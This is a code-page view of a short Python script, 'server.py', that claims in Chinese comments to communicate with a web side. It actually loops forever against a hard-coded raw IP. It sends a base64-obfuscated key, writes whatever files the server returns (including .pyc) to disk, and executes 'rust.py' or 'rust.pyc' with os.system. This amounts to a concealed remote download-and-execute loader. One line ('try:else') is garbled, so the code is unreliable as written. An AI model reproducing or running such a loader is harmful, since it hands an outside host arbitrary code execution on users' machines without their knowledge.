server.py 2.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119
  1. import os
  2. import sys
  3. import json
  4. import time
  5. import base64
  6. import shutil
  7. import requests
  8. import traceback #输出报错
  9. """
  10. 和Web端通讯
  11. """
  12. def printf2(status,msg):
  13. if status == 0:
  14. timex = '[!] '
  15. if status == 1:
  16. timex = '[+] '
  17. msg = timex+time.strftime("%H:%M:%S", time.localtime())+' '+msg
  18. print(msg)
  19. """文件写入内容"""
  20. def write(filePath,data):
  21. dirPath = os.path.dirname(filePath)
  22. if not os.path.exists(dirPath):
  23. os.makedirs(dirPath)
  24. # print(data)
  25. f = open(filePath, 'wb+') if ".pyc" in filePath else open(filePath, 'w+', encoding='utf-8')
  26. f.write(data)
  27. f.close()
  28. class api():
  29. def __init__(self):
  30. self.url = "http://208.87.206.108:1999/"
  31. """请求URL"""
  32. def getUrl(self,url, post=0,chongshi=0):
  33. if post:
  34. post['key'] = base64.b64decode('cDljNm44OXM5YXM3MW5jNnI5').decode()
  35. headers = {
  36. 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 Edg/79.0.309.51',
  37. }
  38. try:
  39. if post:
  40. print("POST: ", url.replace(self.url, ''))
  41. r = requests.post(url,data=post,timeout=30,headers=headers)
  42. else:
  43. print("GET: ", url.replace(self.url, ''))
  44. r = requests.get(url,timeout=30,headers=headers)
  45. r.encoding = 'utf-8'
  46. return r.text
  47. except Exception:
  48. traceback.print_exc()
  49. print(url,post)
  50. try:else
  51. print(r.text)
  52. except:
  53. traceback.print_exc()
  54. time.sleep(10)
  55. if not chongshi:
  56. return self.getUrl(url,post,1)
  57. return False
  58. """获取py文件"""
  59. def getPys(self):
  60. r = self.getUrl(self.url+'/asc9as9v4.php',{'key':''})
  61. try:
  62. r2 = json.loads(r)
  63. printf2(r2['status'],r2['msg'])
  64. return r2
  65. except:
  66. print(r)
  67. traceback.print_exc()
  68. time.sleep(1)
  69. return self.getPys()
  70. if __name__=='__main__':
  71. api = api()
  72. while 1:
  73. try:
  74. pys = api.getPys()
  75. if pys['status']:
  76. pys = pys['data']
  77. for v in pys:
  78. write("./"+v['name'], v['html'])
  79. filePath = './rust.py'
  80. if not os.path.exists(filePath):
  81. filePath += "c"
  82. cmd = 'python3 '+filePath
  83. print(cmd)
  84. os.system(cmd)
  85. time.sleep(5)
  86. else:
  87. time.sleep(10)
  88. except:
  89. time.sleep(5)